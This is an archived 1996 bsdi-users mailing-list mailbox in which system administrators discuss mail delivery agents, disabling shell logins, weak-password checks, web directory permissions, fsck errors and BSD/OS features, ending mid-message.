(8.7.4/8.7.3) with ESMTP id TAA04967 for ; Fri, 1 Nov 1996 19:25:25 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id TAA26528 for bsdi-users-outgoing; Fri, 1 Nov 1996 19:15:00 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: patrick@value.net Sender: owner-bsdi-users@lists.gateway.com To: Amy cc: bsdi-users@BSDI.COM Subject: Re: inbox dir Date: Fri, 1 Nov 1996 16:14:47 -0800 (PST) On Fri, 1 Nov 1996, Amy wrote: > > Where the mail is placed is a delivery agent issue, not a sendmail issue. > > > > So grab another POP server if you don't have one with source handy, and > > change the dirs. The qualcomm popper is pretty good (ftp.qualcomm.com) > > But the popper doesn't place the mail, does it? Doesn't mail.local place > the mail? Doh! You are correct, if you have mail.local as your delivery agent. That's what I get for answering stuff on Fri afternoon.... Same answer, but apply it to mail.local. Better? :) /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Patrick Greenwell (510) 943-5769 voice Systems Administrator (510) 210-2000 modem Value Net, Inc. (510) 943-1708 fax \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ From VM Sat Nov 2 22:35:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["614" "Fri" "1" "November" "1996" "18:37:43" "-0800" "root@internet-frontier.net" "root@internet-frontier.net" nil "16" "RE: inbox dir " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA05243 for ; Fri, 1 Nov 1996 19:38:40 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id TAA26553 for bsdi-users-outgoing; Fri, 1 Nov 1996 19:33:44 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Amy Sender: owner-bsdi-users@lists.gateway.com To: William Sommers cc: bsdi-users@BSDI.COM Subject: RE: inbox dir Date: Fri, 1 Nov 1996 18:37:43 -0800 (PST) > > > What I want is two inbox directories - one for POP users and one for > > shell users. One is to be NFS exported and the other is not. > > Variable delivery can be handled entirely by sendmail -- no need for the > above -- though it does require a little creative thinking. > > Simply switching your local delivery agent (which is the heart of the > matter) from mail.local to procmail might be an approach worth looking into, > certainly my choice as long as super-efficient scalability is not a critical > issue. > Does anyone lese have the problem of procmail barfing on 7bit messages? Amy :) From VM Sat Nov 2 22:36:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2869" "Fri" "1" "November" "1996" "22:15:00" "EST" "Richard Noel" "richard.noel@wang.com" nil "79" "RE: shell login restriction" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA09308 for ; Fri, 1 Nov 1996 22:17:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA26959 for bsdi-users-outgoing; Fri, 1 Nov 1996 22:12:36 -0500 (EST) Message-ID: <327ABD7B@SMTPGTWY.WANG.COM> Encoding: 78 TEXT X-Mailer: Microsoft Mail V3.0 Precedence: bulk From: "Noel, Richard" Sender: owner-bsdi-users@lists.gateway.com To: ubu Cc: BSDI Users Subject: RE: shell login restriction Date: Fri, 01 Nov 96 22:15:00 EST Thanks for your responses Barry. However, it's not necessary for the user's shell as specified in /etc/passwd to be listed in /etc/shells. Not having the shell listed in /etc/shells means (among other things) that the account can not be used to establish an ftp session. I would have been surprised if it worked as you suggested because BSDI provides /sbin/nologin and it's not likely they would have overlooked something so obvious. That said, I do agree that the verbage I've used in /sbin/nojoe is only inviting trouble so I will change that. And I would welcome further comments regarding possible liabilities of using /sbin/nologin type shells. Thanks again ... Richard noel@wang.com ---------- From: ubu To: Noel, Richard; bsdi-users Subject: RE: shell login restriction Date: Friday, November 01, 1996 5:48PM This is a bad idea - you've just told anyone who cares to look which of your accounts have identical userid and logins. Now, they are prevented from opening a shell on your system, but so long as /sbin/nojoe is in /etc/shells (which it must be to make it their login shell), they can still access your system via ftp. I'd just as soon strangers don't have free reign to explore my filesystem. Barry On 1 Nov 96 at 9:24, Noel, Richard wrote: > > I've been using /sbin/nologin in this manner successfully, though if > anyone knows of possible security holes I'd appreciate hearing about > it. Similarly, I have cron periodically run a perl script that > compares the account password to the login id and if they're the > same, the account shell is changed to /sbin/nojoe, an edited copy of > nologin that echoes: > > THIS ACCOUNT HAS BEEN DISABLED BECAUSE YOUR PASSWORD IS > THE SAME AS YOUR LOGIN ID, ... > > and then drops the connection. > > Richard > noel@wang.com > > ---------- > From: owner-bsdi-users[SMTP:owner-bsdi-users@lists.gateway.com] > Sent: Thursday, October 31, 1996 1:42 PM To: Jayanta Mukherjee Cc: > bsdi-users Subject: Re: shell login restriction > > > > > I am using BSD 2.0 as a Internet mail server only. I want to > > disable > shell > > login for all. i.e. no body should be able login through > > "Telnet". Is it possible then how? > > > You can replace their shell with /sbin/nologin and then they can't > login at all. > > Amy :) > > Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 This planet has -- or rather had -- a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movements of small green pieces of paper, which is odd because on the whole it wasn't the small green pieces of paper that were unhappy. -- Douglas Adams From VM Sat Nov 2 22:36:09 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1814" "Fri" "1" "November" "1996" "22:00:20" "" "Barry Hemphill" "ubu@easynet.on.ca" nil "39" "Re: ftp problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA09311 for ; Fri, 1 Nov 1996 22:17:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA26931 for bsdi-users-outgoing; Fri, 1 Nov 1996 22:05:36 -0500 (EST) Message-Id: <199611020305.WAA13592@puppy.easynet.on.ca> Comments: Authenticated sender is Organization: EasyNet Inc MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Priority: normal X-mailer: Pegasus Mail for Win32 (v2.42) Precedence: bulk From: "Barry Hemphill" Sender: owner-bsdi-users@lists.gateway.com To: Amy CC: jparnas@jparnas.cybercom.net, steve@enta.net, bsdi-users@BSDI.COM Subject: Re: ftp problems Date: Fri, 1 Nov 1996 22:00:20 +5 On 1 Nov 96 at 14:27, Amy wrote: > > > > In order for the web pages to be able to be read, the user's home > dir only needs to be searchable ( chmod uog+x userdir) and the > public_html dir then is the only world readable dir. (chmod uog+xr > public_html) > Actually, this is a bit of a misconception, albiet a common one. Absolutely nothing has to be world readable or searchable for the web pages to be read - they just have to be readable/searchable by the web server. For instance, I run my web server as user nobody, group www. The users directory, /usr/home/foo, has to be either u+x and owned by user nobody (unlikely), g+x and owned by group www (impractical if you ask me, but some people do it), or o+x. The public_html dir (which incidentally you can call anything you want - I call ours www, which is a hell of a lot easier for our users to remember and type), basically follows the same pattern, except of course we're talking about the r bit, not x. Anyway, I'm sure this is a really overly long answer to a question I'm not entirely sure was asked, but I have seen people more than a few times make reference to things needing to be world readable, so I thought I'd ramble on about it for a bit. All done. Barry Barry Hemphill EasyNet Inc. System Administrator Cambridge, Ontario, Canada ubu@easynet.on.ca (519)654-9999 fax(519)654-0301 This planet has -- or rather had -- a problem, which was this: most of the people living on it were unhappy for pretty much of the time. Many solutions were suggested for this problem, but most of these were largely concerned with the movements of small green pieces of paper, which is odd because on the whole it wasn't the small green pieces of paper that were unhappy. -- Douglas Adams From VM Sat Nov 2 22:36:13 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2264" "Fri" "1" "November" "1996" "23:12:47" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "52" "Re: shell login restriction " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA11208 for ; Fri, 1 Nov 1996 23:24:39 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id XAA27090 for bsdi-users-outgoing; Fri, 1 Nov 1996 23:14:26 -0500 (EST) Message-Id: <199611020412.XAA03746@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 01 Nov 1996 14:40:00 EST. <327A529B@SMTPGTWY.WANG.COM> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: richard.noel@wang.com cc: bsdi-users@gateway.com Subject: Re: shell login restriction Date: Fri, 01 Nov 1996 23:12:47 -0500 In message <327A529B@SMTPGTWY.WANG.COM>you write: > >Thanks for your response Jacob. In discussions with other admins >and from what I've read, machine generated passwords, though more >difficult to guess (but not impossible!), aren't always a good >solution and can sometimes be a liability. It's these types of >passwords that are more likely to get written down on scraps of >paper and stuck in the (unlocked) pencil drawer, under the keyboard, >or written in pencil on the bezel of a monitor. Of the latter group, >the conscientious ones are they with eraser "droppings" on the >desk just in front of their monitor - at least they change their >password once in a while :). Thanks for your note. I see your point. I guess its a lose-lose situation. Reminders don't seem to help. I'm not sure what the solution is. I forgot the details, but I think 1/4 people or so pick terrible passwords. I guess it depends on the environment. For instance, home internet users are probably better writing down a good password than memorizing a bad one, while a student who logs in to terminal rooms have bad trouble. Non-password systems like digital pathways is one of the best solutions, although not the cheapest, but if security is important to you, its good. Good luck with a hard problem.. >I would think machine generated passwords would be better in a >situation where controlling access to the host is critical and >the users are more responsible and willing to accept the inconvenience >of not easily remembered passwords, or passwords that expire within "n" >minutes. Yes, as a user, I know for me making me change passwords makes me change it according to some easy algorhythm. If I think my password has been compromised, I'll change my password. >I do plan to modify the perl script to check the password for case and >reverse variations of the login id, but first I need to upgrade to perl5. That sounds like a good idea. >I'm no security expert (nor do I pretend to be), the perl script I'm >presently using can be found in O'Reilly's "Practical UNIX & Internet >Security". > >Richard >noel@wang.com I'm always amazed at the errors in big programs. That's why I'd rather write a simple little program than get a big one envolved. Jacob From VM Sat Nov 2 22:36:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["948" "Fri" "1" "November" "1996" "20:40:19" "+0000" "Guy Dawson" "guy@cuillin.org.uk" nil "30" "Re: File System Problems" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA12347 for ; Sat, 2 Nov 1996 00:15:35 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id AAA27146 for bsdi-users-outgoing; Sat, 2 Nov 1996 00:01:27 -0500 (EST) Message-Id: <199611012040.UAA28001@dearg.cuillin.org.uk> In-Reply-To: from "Chad Scott" at Nov 1, 96 12:30:32 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Guy Dawson Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@lists.gateway.com (bsdi users) Subject: Re: File System Problems Date: Fri, 1 Nov 1996 20:40:19 +0000 (GMT) On Fri, 1 Nov 1996, GUSTAVO YAHUITL LUNA wrote: > Running BSD 2.1. > I'm getting this errors on my file systems: > > UNREF FILE I=8116 OWNER=root MODE=0 > SIZE=0 MTIME=Nov 1 13:53 1996 > CLEAR? no > > UNREF FILE I=147896 OWNER=root MODE=100777 > SIZE=1120961 MTIME=Nov 1 00:59 1996 > CLEAR? no > > UNREF FILE I=147924 OWNER=root MODE=100777 > SIZE=920 MTIME=Oct 30 14:14 1996 > CLEAR? no > > I dont know where this problem come. > I appreciate any comments. Seeing this question for the nth time (n tends to infinity here) I can't help wondering if a couple of lines explaining the effect of running fsck on a mounted filesystem should be included in the output of the daily run just before fsck is run. Guy -- --------------------------------------------------------------------- Guy Dawson @ SMTP - guy@cuillin.org.uk // ICBM - 6.15.16W 57.12.23N 986M 4.4>5.4 4.4>5.4 4.4>5.4 The Reality Check's in the Post! 4.4>5.4 4.4>5.4 From VM Sat Nov 2 22:36:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["949" "" "2" "November" "1996" "07:29:50" "GMT" "Cor Bosman" "cor@xs4all.net" nil "23" "Re: BSDI 3.0 - FS hack noatime?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA19777 for ; Sat, 2 Nov 1996 03:37:50 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id DAA28980 for bsdi-users-outgoing; Sat, 2 Nov 1996 03:25:09 -0500 (EST) Path: cor Newsgroups: info.bsdi.users Organization: XS4ALL, networking for the masses Lines: 22 Message-ID: <55et9e$992@news.xs4all.nl> References: <199610312001.NAA23432@pcslink.com> NNTP-Posting-Host: xs1.xs4all.nl X-XS4ALL-Date: Sat, 02 Nov 1996 08:29:50 MET X-Newsreader: NN version 6.5.0 #4 Precedence: bulk From: cor@xs4all.net (Cor Bosman) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@relay1.uu.net Subject: Re: BSDI 3.0 - FS hack noatime? Date: 2 Nov 1996 07:29:50 GMT ryan@pcslink.com (Ryan Mooney) writes: >Does anyone know if BSDI 3.0 will include the noatime >hack for mount that has been put into the latest FBSD & Linux >code? That would be kinda nice for those of us sqeezing all >we can out of news servers and the like... If it doesnt, I promise I'll bring out a source patch ;) Ive been meaning to bring out a patch for 2.1, since we have atime patches running on our news servers for ages, but we just havent gotten around to it. The patch is only 2 or 3 lines ;) Unless you want to make it a mount switch, then it'll take considerable more effort. Our patch is a kernel flag. Cor -- ------------------------------------------------------------------------------ | Cor Bosman | ____Xs4all Public Access____ | tel: +31-(0)20-622-2885 | | cor@in.ter.net | Network Administrator | fax: +31-(0)20-622-2753 | -------------------------------------------------------------------------SP6-- From VM Sat Nov 2 22:36:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["590" "Sat" "2" "November" "1996" "05:56:32" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "28" "Re: File System Problems " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA23794 for ; Sat, 2 Nov 1996 06:08:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id FAA29383 for bsdi-users-outgoing; Sat, 2 Nov 1996 05:56:57 -0500 (EST) Message-Id: <199611021056.FAA04724@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Fri, 01 Nov 1996 12:01:18 CST. <3.0b36.32.19961101120117.006e3afc@gemtel.com.mx> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: GUSTAVO YAHUITL LUNA cc: bsdi-users@BSDI.COM Subject: Re: File System Problems Date: Sat, 02 Nov 1996 05:56:32 -0500 In message <3.0b36.32.19961101120117.006e3afc@gemtel.com.mx>you write: > > > Running BSD 2.1. > I'm getting this errors on my file systems: > >UNREF FILE I=8116 OWNER=root MODE=0 >SIZE=0 MTIME=Nov 1 13:53 1996 >CLEAR? no > >UNREF FILE I=147896 OWNER=root MODE=100777 >SIZE=1120961 MTIME=Nov 1 00:59 1996 >CLEAR? no > >UNREF FILE I=147924 OWNER=root MODE=100777 >SIZE=920 MTIME=Oct 30 14:14 1996 >CLEAR? no > > I dont know where this problem come. > I appreciate any comments. > I think it is reading the file system and not taking account of what is in the buffer cache. Jacob From VM Sat Nov 2 22:36:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["666" "Sat" "2" "November" "1996" "15:58:40" "+0200" "Konstantin Barinov" "sbernard@infonet.ee" nil "22" "Hard disk mounting." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA28358 for ; Sat, 2 Nov 1996 09:04:26 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id IAA29497 for bsdi-users-outgoing; Sat, 2 Nov 1996 08:59:12 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Konstantin Barinov Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Hard disk mounting. Date: Sat, 2 Nov 1996 15:58:40 +0200 (EET) (Begin stupid question) Hi, Is it possible in BSD 2.1 to mount several hard disks into one "partition" (ie 5 2Gig disks into /var/spool/news to get total 10 Gig space)? Regards, ----------------------------------------------------------- Konstantin Barinov System Administrator ----------------------------------------------------------- Baural Ltd. Phone +372-640-0000 Tehnika str. 16E GSM +372-502-9925 Tallinn EE0031 Fax +372-245-6447 Estonia e-mail sbernard@infonet.ee ----------------------------------------------------------- From VM Sat Nov 2 22:36:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["437" "Sun" "3" "November" "1996" "00:26:46" "+1030" "David Newall" "davidn@rebel.net.au" nil "16" "Re: Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA28363 for ; Sat, 2 Nov 1996 09:04:42 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id IAA29485 for bsdi-users-outgoing; Sat, 2 Nov 1996 08:57:01 -0500 (EST) Message-Id: <199611021356.AAA07769@rebel.net.au> In-Reply-To: from "Alan B. Clegg" at Nov 1, 96 04:29:30 pm Content-Type: text Precedence: bulk From: David Newall Sender: owner-bsdi-users@lists.gateway.com To: abc@gateway.com (Alan B. Clegg) Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: Sun, 3 Nov 1996 00:26:46 +1030 (CST) Alan B. Clegg wrote: > After testing for a week now, I feel sufficiently comfortable with the new > Majordomo code that I will install it on Monday. I applaud you, Alan. Spam is a problem we have been plagued by for some time and I am delighted you've done something to minimise it. To assuage my curiosity: Briefly, how does this anti-spam stuff work? Thanks, David [Standard disclaimer: These are my private opinions] From VM Sat Nov 2 22:36:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["179" "Sat" "2" "November" "1996" "06:33" "PST" "Randy Bush" "randy@psg.com" nil "7" "Re: Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id JAA29441 for ; Sat, 2 Nov 1996 09:40:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id JAA29528 for bsdi-users-outgoing; Sat, 2 Nov 1996 09:33:20 -0500 (EST) Message-Id: References: <199611021356.AAA07769@rebel.net.au> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: David Newall Cc: bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: Sat, 2 Nov 96 06:33 PST > To assuage my curiosity: Briefly, how does this anti-spam stuff work? There is a list managers' mailing list where such things are discussed. Give us a bleeding break. randy From VM Sat Nov 2 22:36:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["513" "Sat" "2" "November" "1996" "10:57:12" "-0500" "Matthew James Marnell" "marnellm@portia.portia.com" nil "13" "Re: shell login restriction " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id LAA01731 for ; Sat, 2 Nov 1996 11:11:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id KAA29584 for bsdi-users-outgoing; Sat, 2 Nov 1996 10:57:45 -0500 (EST) Message-Id: <199611021557.KAA28370@portia.portia.com> X-Mailer: exmh version 1.6.9 8/22/96 In-reply-to: Your message of "Fri, 01 Nov 1996 17:48:45." <199611012253.RAA04179@puppy.easynet.on.ca> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Precedence: bulk From: Matthew James Marnell Sender: owner-bsdi-users@lists.gateway.com To: "Barry Hemphill" cc: "Noel, Richard" , bsdi-users@gateway.com Subject: Re: shell login restriction Date: Sat, 02 Nov 1996 10:57:12 -0500 :>This is a bad idea - you've just told anyone who cares to look which :>of your accounts have identical userid and logins. Now, they are :>prevented from opening a shell on your system, but so long as :>/sbin/nojoe is in /etc/shells (which it must be to make it their :>login shell), they can still access your system via ftp. I'd just as :>soon strangers don't have free reign to explore my filesystem. BZZZZZT. Root can make anyone's shell anything (s)he wants, without it being in /etc/shells. Matt From VM Sat Nov 2 22:36:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["467" "Sat" "2" "November" "1996" "12:12:04" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "13" "Re: Hard disk mounting. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA03635 for ; Sat, 2 Nov 1996 12:20:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA29635 for bsdi-users-outgoing; Sat, 2 Nov 1996 12:12:53 -0500 (EST) Message-Id: <199611021712.MAA29592@kci.kciLink.com> In-reply-to: Your message of "Sat, 02 Nov 1996 15:58:40 +0200." Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: Konstantin Barinov cc: bsdi-users@BSDI.COM Subject: Re: Hard disk mounting. Date: Sat, 02 Nov 1996 12:12:04 -0500 +--------- | Is it possible in BSD 2.1 to mount several hard disks into | one "partition" (ie 5 2Gig disks into /var/spool/news to get | total 10 Gig space)? +--------- Yes. There is a cd driver that will "concatenate disk" partitions into one mount point. It is not easy to install -- you must hand-edit the cd.c file in the kernel to configure the partitions you want in your partition. I understand that 3.0 will let you do this much more easily. v. From VM Sat Nov 2 22:36:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["434" "Sat" "2" "November" "1996" "12:13:31" "-0500" "Vivek Khera" "khera@kci.kcilink.com" nil "13" "Re: Spam-removal software " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id MAA03636 for ; Sat, 2 Nov 1996 12:20:43 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id MAA29642 for bsdi-users-outgoing; Sat, 2 Nov 1996 12:13:52 -0500 (EST) Message-Id: <199611021713.MAA29604@kci.kciLink.com> In-reply-to: Your message of "Sat, 02 Nov 1996 06:33:00 PST." Precedence: bulk From: Vivek Khera Sender: owner-bsdi-users@lists.gateway.com To: randy@psg.com (Randy Bush) cc: David Newall , bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: Sat, 02 Nov 1996 12:13:31 -0500 +--------- | > To assuage my curiosity: Briefly, how does this anti-spam stuff work? | | There is a list managers' mailing list where such things are discussed. | Give us a bleeding break. +--------- Not all of us are list managers. Give *us* a break. I too am curious how this feature is going to stop the spam on this list. Also, are us long-timers on here going to have to do anything new like re-subscribe, etc? v. From VM Sat Nov 2 22:36:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["221" "Sat" "2" "November" "1996" "10:24" "PST" "Randy Bush" "randy@psg.com" nil "7" "Re: Spam-removal software " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA05540 for ; Sat, 2 Nov 1996 13:32:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA29769 for bsdi-users-outgoing; Sat, 2 Nov 1996 13:24:38 -0500 (EST) Message-Id: References: <199611021713.MAA29604@kci.kciLink.com> Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: Vivek Khera Cc: David Newall , bsdi-users@BSDI.COM (bsdi-users) Subject: Re: Spam-removal software Date: Sat, 2 Nov 96 10:24 PST > Not all of us are list managers. Give *us* a break. And not all of us are professional scuba divers, or ice cream makers, or prostitutes, or ... This is a BSDI-specific list. Let's try to keep it that way, please. From VM Sat Nov 2 22:36:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["845" "Sat" "2" "November" "1996" "10:59:14" "-0800" "Tom Glover" "tomg@boiled.egg.com" nil "24" "Re: Spam-removal software" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id NAA06345 for ; Sat, 2 Nov 1996 13:59:07 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id NAA29803 for bsdi-users-outgoing; Sat, 2 Nov 1996 13:52:58 -0500 (EST) In-Reply-To: <199611021356.AAA07769@rebel.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tom Glover Sender: owner-bsdi-users@lists.gateway.com To: David Newall cc: "Alan B. Clegg" , bsdi-users Subject: Re: Spam-removal software Date: Sat, 2 Nov 1996 10:59:14 -0800 (PST) On Sun, 3 Nov 1996, David Newall wrote: > Alan B. Clegg wrote: > > After testing for a week now, I feel sufficiently comfortable with the new > > Majordomo code that I will install it on Monday. > > I applaud you, Alan. Spam is a problem we have been plagued by for some > time and I am delighted you've done something to minimise it. > > To assuage my curiosity: Briefly, how does this anti-spam stuff work? If you want to know how Majordomo works then read the manual. Please don't discuss it on a BSDI list. -- Regards, Tom __________________________________________________________________________ | "The Egg Domain" | "Diplomacy is the art of saying "Good doggie" | | tomg@boiled.egg.com | while searching for a big rock. | | http://www.egg.com/ | | From VM Sat Nov 2 22:36:55 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] ["602" "Sat" "2" "November" "1996" "20:43:22" "+0100" "Arne Steinkamm" "arne@steinkamm.com" "<199611021943.UAA03365@oldman.steinkamm.com>" "20" "shared libraries... GRRRRR !" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id OAA07699 for ; Sat, 2 Nov 1996 14:50:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id OAA29866 for bsdi-users-outgoing; Sat, 2 Nov 1996 14:43:40 -0500 (EST) Message-Id: <199611021943.UAA03365@oldman.steinkamm.com> X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Arne Steinkamm Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM, dlu@BSDI.COM Cc: arne@steinkamm.com (Arne Steinkamm) Subject: shared libraries... GRRRRR ! Date: Sat, 2 Nov 1996 20:43:22 +0100 (MET) Hi, Does anyone know if BSDI 3.0 will include real dynamic shared libs using PIC (position independent code) ? The actual implementation is a real pain. At least, XInside dropped the development of CDE (it's available for FreeBSD/Linux/...) because BSD/OS is the only one NOT having PIC shlibs. Greetings .//. Arne -- Arne Steinkamm | Mail (MIME): Arne@Steinkamm.COM IRC: Arne Tel.: +49.89.299.756 | URL: http://WWW.Steinkamm.COM/ NIC-Handle: AS306 Robert-Koch-Str. 4 | "There's coffee in that nebula" D-80538 Muenchen | Cptn. Kathryn Janeway, ST:VOY - The Cloud From VM Sat Nov 2 22:36:56 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["301" "Sat" "2" "November" "1996" "11:57" "PST" "Randy Bush" "randy@psg.com" nil "10" "ispell-message" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA07977 for ; Sat, 2 Nov 1996 15:07:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id OAA29890 for bsdi-users-outgoing; Sat, 2 Nov 1996 14:57:43 -0500 (EST) Message-Id: Precedence: bulk From: randy@psg.com (Randy Bush) Sender: owner-bsdi-users@lists.gateway.com To: BSDI users list Subject: ispell-message Date: Sat, 2 Nov 96 11:57 PST In Emacs and RMAIL, ispell-message seems 